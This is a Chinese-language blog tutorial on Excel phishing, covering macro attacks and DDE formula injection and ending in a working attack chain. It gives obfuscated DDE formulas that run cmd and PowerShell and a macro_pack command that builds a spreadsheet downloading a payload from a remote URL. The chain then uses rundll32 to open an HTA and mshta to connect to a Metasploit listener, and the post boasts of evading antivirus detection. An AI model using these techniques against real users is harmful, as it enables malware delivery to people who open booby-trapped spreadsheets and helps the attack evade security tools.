php 调用 excel 宏_原创干货 | excel钓鱼简介

本文介绍了一种名为Excel钓鱼的技术,详细探讨了office宏攻击、DDE攻击及powerquery DDE等攻击方式。通过宏和DDE结合使用,可以实现静默下载恶意文件,并通过hta文件触发进一步的恶意行为。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

d204348f91447f99cc52715b9d162e83.png

点击关注了解更多精彩内容!!

6f0baa1e895e4f0ecdcf5ac49c5b5f5f.png

excel钓鱼简介

关于excel钓鱼是由来已久的一种攻击方式,目前本人已知的方法有:

  • office宏攻击

  • DDE攻击

  • power query DDE(DDE的一种)

19c669c191d7778f46542981d6b34930.png

office宏攻击

宏攻击,一种古老的攻击手法,依靠在office中插入恶意的vbs代码,来执行恶意shellcode。在cs中就有现成的宏攻击。

f66dbed7999577c53b3ca6709b478c35.png

然后按照步骤加入宏,用户在启用宏的情况下即可顺利上线。

19c669c191d7778f46542981d6b34930.png

DDE攻击

动态数据交换(DDE),它是在Microsoft Windows操作系统中实现的客户端/服务器通信方法。我关注到这类攻击还是从推特的大佬哪里看到的:

a89d4c145782b8762920f3d71524c2eb.png

在开源的openoffice中可以直接只有DDE函数,像=DDE("cmd";"/C calc";"123")这样调用。

而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDE。注意:该方法的提示窗口只提示application而不提示topic。

一些特性:

1、当excel遇到+和-会自动填充=成为公式,如

+thespnquisition(cmd|'/c calc.exe'!A

2、若打开的外部应用为8字符,excel自动忽略后面的字符,如下面的两个作用相同:

=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

3、将其他表达式或空格填充在恶意表达式之前

=AA+BB-CC&"Hello"/12345&cmd|'/c calc.exe'!A

4、通过windows batch的语法特性,填充无意义或是不影响执行逻辑的字符和指令,将topic字段混淆,如文章开始处的payload:

=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

/c是cmd参数,表示执行后关闭窗口

REM表示后面的内容是注释

.表示空行,用于终止之前的REM

&&表示如果前一条指令执行成功则执行后一条指令

@ 表示执行窗口不显示后面的命令

^表示转义,此处无实际意义,只是用来混淆powershell这一敏感词

?表示powershell通配符,其中匹配任意字符串,?匹配1个字符,此处能唯一定位到c:/windows/system32/calc.exe

“无实际用途,删了也没啥区别

所以经过解析后,实际执行的命令是:

cmd.exe/c powershell c:/windows/system32/calc.exe

当然,也可以使用字符串拼接的特性,将命令变为下面这样:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

178dc396dcd34f022c5ed5b0bee6482e.png

msf也集成了这种攻击方法:

3cd776d53548c357dcd54c800f483cdc.png

19c669c191d7778f46542981d6b34930.png

power query DDE(DDE的一种)

参考:https://xz.aliyun.com/t/5514

19c669c191d7778f46542981d6b34930.png实操

实现思路:DDE + 宏 + lolbin进行钓鱼,实现vt静态全免。

3904b01f7afc067e0d708fe756ddd6ac.png

具体的思路如下:使用宏远程下载一个hta文件,然后依靠dde加载该hta,hta为一个启动mshta的恶意程序。

首先,我们要建立一个使用宏远程下载的excel文件,如果会vbs的话可以自己进行编写,如果不会的话可以使用macro_pack进行辅助,(macro_pack是一个用于自动生成混淆过的MS Office文档、VB脚本等其他格式的工具,其主要目的是用于渗透测试、demo以及社会工程学的评估。macro_pack的目标是简化利用流程,反恶意软件绕过,并自动化vba生成到最终Office文档生成的过程。)我们的目的是使用它生成一个具有下载功能的excel。我们可以使用下面的方法进行生成:

echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -t DROPPER -G "drop.xls"

这样生成的xls文档就会自动下载url的payload.exe,并保存为dropped.exe。然后执行,但是我们不要求它进行执行,所以需要删除掉里面执行的代码:

6e700f54746b6bc969d2db2939ad18ee.png

将里面的ExecuteCmdAsync downloadPath给删除掉,并删除其构造代码,然后更改下载路径为你自己想要的路径,服务器地址为你的地址即可。

然后我们此时打开该文档,就会提示我们运行宏,我们允许,则会在我们刚才设置的地方下载好我们的hta文件。然后我们将宏代码保存为vba文件,使用下面的命令将其混淆:

macro_pack.exe -f xxx.vba -o -G xxx.xls

此时我们的宏已经变成了下面的模样:

20791ec57ea6204adc70c11d97ae9f36.png

然后我们下面就需要调用我们的hta文件了。我们说过了,要使用dde,我们这里就使用dde去调用rundll32.exe去运行我们的hta文件:

=MSEXCEL|'\..\..\..\Windows\System32\rundll32.exe url.dll,FileProtocolHandler  c:\temp\payload.hta'!_xlbgnm.A1

0ca01264b14eae876a32af8c79645f1f.png

具体信息请访问: https://support.microsoft.com/sk-sk/help/164787/info-windows-rundll-and-rundll32-interface

比如当前我们的hta内容如下:

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"self.closescript><body>body>HEAD> HTML>

那么将执行内部代码弹出计算器:

f82adb5a6b32f0efedb8602f7c1715d1.png

但是,仅仅这样还是不够的我们还需要其他的,我们接下来再使用攻击中常见的一种手法,mshta攻击,用法如下:

mshta.exe payload地址

首先使用msf开启监听:

1c3ab612884043dd990195f14db65ef2.png

然后将这里:

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"

改成mshta的利用语句并混淆,目标运行,成功上线:

7f2b21f23890289ee01b03478532fbd4.png

vt查杀情况如下:

9d4c1bff63c4a6b9e5c0b8a0f01acd15.png

某卫士:

139fb79b303b313171f202308cd2ccae.png

6f0baa1e895e4f0ecdcf5ac49c5b5f5f.png扫码关注我们扫码关注我们 45ba2835221d82c382ceb1a9396f4a49.png嗨,你还在看吗?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值